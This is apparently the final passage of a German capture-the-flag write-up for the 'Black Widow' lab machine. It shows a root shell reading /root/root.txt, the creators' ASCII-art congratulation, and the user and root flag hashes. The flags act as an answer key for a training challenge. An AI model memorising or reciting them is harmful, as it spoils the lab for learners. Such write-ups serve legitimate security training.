Analyse: Als Root wird versucht, die Root-Flag-Datei zu lesen. Es folgt eine ASCII-Art-Darstellung und die eigentliche Flag.

Bewertung: Die Root-Flag wird erfolgreich gelesen: `0780eb289a44ba17ea499ffa6322b335`. Die ASCII-Art dient als Bestätigung und Hinweis der Maschinen-Ersteller.

Empfehlung (Pentester): Notieren Sie die Root-Flag. Der Test ist abgeschlossen.
Empfehlung (Admin): Sichern Sie das System gemäß den vorherigen Empfehlungen, um zukünftige Kompromittierungen zu verhindern.

root@blackwidow:~# cat /root/root.txt


▄▄▄▄· ▄▄▌   ▄▄▄·  ▄▄· ▄ •▄     ▄▄▌ ▐ ▄▌▪  ·▄▄▄▄        ▄▄▌ ▐ ▄▌
▐█ ▀█▪██•  ▐█ ▀█ ▐█ ▌▪█▌▄▌▪    ██· █▌▐███ ██▪ ██ ▪     ██· █▌▐█
▐█▀▀█▄██▪  ▄█▀▀█ ██ ▄▄▐▀▀▄·    ██▪▐█▐▐▌▐█·▐█· ▐█▌ ▄█▀▄ ██▪▐█▐▐▌
██▄▪▐█▐█▌▐▌▐█ ▪▐▌▐███▌▐█.█▌    ▐█▌██▐█▌▐█▌██. ██ ▐█▌.▐▌▐█▌██▐█▌
·▀▀▀▀ .▀▀▀  ▀  ▀ ·▀▀▀ ·▀  ▀     ▀▀▀▀ ▀▪▀▀▀▀▀▀▀▀•  ▀█▄▀▪ ▀▀▀▀ ▀▪


Congrats!

You've rooted Black Widow!

0xJin - mindsflee
Follow on Instagram: 0xjiin
Follow on Twitter: 0xJin , @mindsflee


0780eb289a44ba17ea499ffa6322b335

Flags

cat /home/viper/local.txt
d930fe79919376e6d08972dae222526b
cat /root/root.txt
0780eb289a44ba17ea499ffa6322b335